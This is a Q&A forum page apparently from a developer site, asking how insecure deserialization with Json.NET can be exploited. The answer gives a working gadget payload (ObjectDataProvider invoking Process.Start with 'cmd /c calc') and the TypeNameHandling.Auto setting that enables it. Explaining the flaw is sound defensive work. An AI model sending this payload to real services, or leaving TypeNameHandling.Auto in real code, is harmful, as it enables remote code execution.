user7676946
user7676946

Reputation: 179

Insecure deserialization using Json.NET

A static security scanner has flagged my C# code on this line:

var result = JsonConvert.DeserializeObject<dynamic>(response);

response will contain a JSON response from a web API.

The scanner has flagged this as "insecure deserialization".

Can someone help me understand how this can be exploited? Web examples are not really clear on whether the exploit can happen within the DeserializeObject method itself or if only after the deserialization.

Upvotes: 14

Views: 10530

Answers (1)

Artur
Artur

Reputation: 5532

Try to deserialize this json:

{
    "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName": "Start",
    "MethodParameters": {
        "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values": [ "cmd", "/c calc" ]
    },
    "ObjectInstance": { "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
}

with this code

dynamic obj = JsonConvert.DeserializeObject<dynamic>(json, new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.Auto
});

It will open the Windows calculator application. The same way any executable or script could be run. The problem persists also if you use object instead of dynamic or the non generic DeserializeObject method. Be aware that if you don't set TypeNameHandling = TypeNameHandling.Auto someone else could set the global settings like this:

JsonConvert.DefaultSettings = () => 
    new JsonSerializerSettings{TypeNameHandling = TypeNameHandling.Auto};

Upvotes: 25

Related Questions